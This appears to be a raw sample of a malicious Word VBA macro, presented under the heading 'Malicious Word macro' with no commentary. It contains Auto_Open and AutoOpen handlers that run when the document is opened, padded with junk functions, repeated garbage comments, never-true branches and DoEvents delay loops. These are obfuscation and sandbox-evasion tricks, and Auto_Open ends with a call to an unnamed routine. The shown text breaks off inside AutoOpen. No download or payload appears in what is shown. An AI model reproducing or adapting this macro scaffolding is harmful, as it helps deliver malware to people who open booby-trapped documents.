Malicious Word macro

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function QmBGkPFckKNMB17() As Integer
Dim QlHEwpWHgrruq25, GgGdeTYcEVfSh76, EuWVTkPTHPNKW71, yOgaKgjRmiZGk62 As String
Dim dXlJRImxXhZJw99, LYMliZBIHsrig38, uZibeFFVKVPzh15, yvjlrhCYxkQFG57 As Integer
dXlJRImxXhZJw99 = 6194
QlHEwpWHgrruq25 = E
LYMliZBIHsrig38 = Asc(QlHEwpWHgrruq25)
If dXlJRImxXhZJw99 > LYMliZBIHsrig38 Then
    For uZibeFFVKVPzh15 = 1 To 31
       yvjlrhCYxkQFG57 = LYMliZBIHsrig38 + uZibeFFVKVPzh15
    Next uZibeFFVKVPzh15
yvjlrhCYxkQFG57 = yvjlrhCYxkQFG57 + dXlJRImxXhZJw99
GgGdeTYcEVfSh76 = CStr(yvjlrhCYxkQFG57)
EuWVTkPTHPNKW71 = Mid$(GgGdeTYcEVfSh76, 1, 4)
yOgaKgjRmiZGk62 = yOgaKgjRmiZGk62 & "62"
QmBGkPFckKNMB17 = CInt(Mid$(yOgaKgjRmiZGk62, 2, 6))
Else
QmBGkPFckKNMB17 = 31 + 6194
MsgBox ("tJTDEjSKBykjo92")
End Function

Public Function hVKbQynbskORl19() As Integer
Dim qtqfWPnuezkvH58, gwupruNQfAqiN38, WSlloNGPROyXb24, OmbvCSvMMTNaZ37 As String
Dim rYBTbJpOngEIw24, kWArMrFqyFHrG55, HyJVzyzVcCZTf59, mCIfjaevXKLcV52 As Integer
rYBTbJpOngEIw24 = 5369
qtqfWPnuezkvH58 = u
kWArMrFqyFHrG55 = Asc(qtqfWPnuezkvH58)
If rYBTbJpOngEIw24 > kWArMrFqyFHrG55 Then
    For HyJVzyzVcCZTf59 = 1 To 55
       mCIfjaevXKLcV52 = kWArMrFqyFHrG55 + HyJVzyzVcCZTf59
    Next HyJVzyzVcCZTf59
mCIfjaevXKLcV52 = mCIfjaevXKLcV52 + rYBTbJpOngEIw24
gwupruNQfAqiN38 = CStr(mCIfjaevXKLcV52)
WSlloNGPROyXb24 = Mid$(gwupruNQfAqiN38, 1, 4)
OmbvCSvMMTNaZ37 = OmbvCSvMMTNaZ37 & "25"
hVKbQynbskORl19 = CInt(Mid$(OmbvCSvMMTNaZ37, 2, 6))
Else
hVKbQynbskORl19 = 55 + 5369
MsgBox ("miUWraxxMUPbb67")
End Function

Public Function UNuOKHOsHwIuL24() As Integer
Dim bNkXQvQYkYlUW81, xYtEQanDzETci21, OQImkgQjOfaKN37, NRrmGcrMeIFrM46 As String
Dim QclkSdTrTMjjM33, cfHpsNPAvGBXF76, pxZmqFTsXvgez41, wMmYjzYayCjNd25 As Integer
QclkSdTrTMjjM33 = 7541
bNkXQvQYkYlUW81 = a
cfHpsNPAvGBXF76 = Asc(bNkXQvQYkYlUW81)
If QclkSdTrTMjjM33 > cfHpsNPAvGBXF76 Then
    For pxZmqFTsXvgez41 = 1 To 64
       wMmYjzYayCjNd25 = cfHpsNPAvGBXF76 + pxZmqFTsXvgez41
    Next pxZmqFTsXvgez41
wMmYjzYayCjNd25 = wMmYjzYayCjNd25 + QclkSdTrTMjjM33
xYtEQanDzETci21 = CStr(wMmYjzYayCjNd25)
OQImkgQjOfaKN37 = Mid$(xYtEQanDzETci21, 1, 4)
NRrmGcrMeIFrM46 = NRrmGcrMeIFrM46 & "38"
UNuOKHOsHwIuL24 = CInt(Mid$(NRrmGcrMeIFrM46, 2, 6))
Else
UNuOKHOsHwIuL24 = 64 + 7541
MsgBox ("QkqHCSzxePcZK91")
End Function

Public Function sUULOqvVKEeEs88() As Integer
Dim jTgxlYihbghPe24, pdshDfmvvQlUP46, lpIUeEYFHXHUu71, hBSaDiJptKLNq75 As String
Dim MaACHesIZZNLx58, XUrlwAZFXBcRg22, sLFQlQQRLiJlZ86, OxlBNFGRDtpwm68 As Integer
MaACHesIZZNLx58 = 3187
jTgxlYihbghPe24 = q
XUrlwAZFXBcRg22 = Asc(jTgxlYihbghPe24)
If MaACHesIZZNLx58 > XUrlwAZFXBcRg22 Then
    For sLFQlQQRLiJlZ86 = 1 To 89
       OxlBNFGRDtpwm68 = XUrlwAZFXBcRg22 + sLFQlQQRLiJlZ86
    Next sLFQlQQRLiJlZ86
OxlBNFGRDtpwm68 = OxlBNFGRDtpwm68 + MaACHesIZZNLx58
pdshDfmvvQlUP46 = CStr(OxlBNFGRDtpwm68)
lpIUeEYFHXHUu71 = Mid$(pdshDfmvvQlUP46, 1, 4)
hBSaDiJptKLNq75 = hBSaDiJptKLNq75 & "73"
sUULOqvVKEeEs88 = CInt(Mid$(hBSaDiJptKLNq75, 2, 6))
Else
sUULOqvVKEeEs88 = 89 + 3187
MsgBox ("fuzDvodcPHUnz15")
End Function


'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Sub Auto_Open()
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 586782 = 586782 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 6637 < 81 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim tUgxBHbC As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim WeSYWqCh As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For WeSYWqCh = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next WeSYWqCh
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
tUgxBHbC = 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While tUgxBHbC < 58
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim FJjkbjzI As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For FJjkbjzI = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next FJjkbjzI
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: tUgxBHbC = tUgxBHbC + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim QtzxgRmd As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For QtzxgRmd = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next QtzxgRmd
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim TLYiLPbT As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For TLYiLPbT = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next TLYiLPbT
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox ("facwvmEU44")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len("XoqUXSeQ3784") = Len("nxuwIiQH") Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim hmWVqRHe As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim AfGwTJaw As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For AfGwTJaw = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next AfGwTJaw
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
hmWVqRHe = 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While hmWVqRHe < 48
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim vIelbLWI As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For vIelbLWI = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next vIelbLWI
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: hmWVqRHe = hmWVqRHe + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim oxaZKiWr As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For oxaZKiWr = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next oxaZKiWr
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ahiBzqFh As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For ahiBzqFh = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next ahiBzqFh
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox ("Error !!!")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim cEUNlxli As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim RCdUhPZj As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For RCdUhPZj = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next RCdUhPZj
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
cEUNlxli = 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While cEUNlxli < 36
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim BAiBafZu As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For BAiBafZu = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next BAiBafZu
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: cEUNlxli = cEUNlxli + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim VQgcVgNf As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For VQgcVgNf = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next VQgcVgNf
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim kmDRrAYl As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For kmDRrAYl = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next kmDRrAYl
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
BDMLBVTBLGM
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End Sub
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Sub AutoOpen()
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 426546 = 426546 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 5679 < 43 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim koVSeRjr As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim DWXMPzVF As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For DWXMPzVF = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next DWXMPzVF
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
koVSeRjr = 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While koVSeRjr < 22
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim PqTiVyti As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For PqTiVyti = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next PqTiVyti
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: koVSeRjr = koVSeRjr + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim wNEjjwtE As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For wNEjjwtE = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next wNEjjwtE
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim TLRsYwla As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For TLRsYwla = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next TLRsYwla
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox ("btxnTqMJ65")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len("KuUWXLFS3636") = Len("eTIkCIIo") Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim GxhldSSq As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim yQGlHWRo As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For yQGlHWRo = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next yQGlHWRo
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
GxhldSSq = 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While GxhldSSq < 27
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim EaBOcliD As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For EaBOcliD = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next EaBOcliD
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: GxhldSSq = GxhldSSq + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim JnPFligS As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For JnPFligS = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next JnPFligS
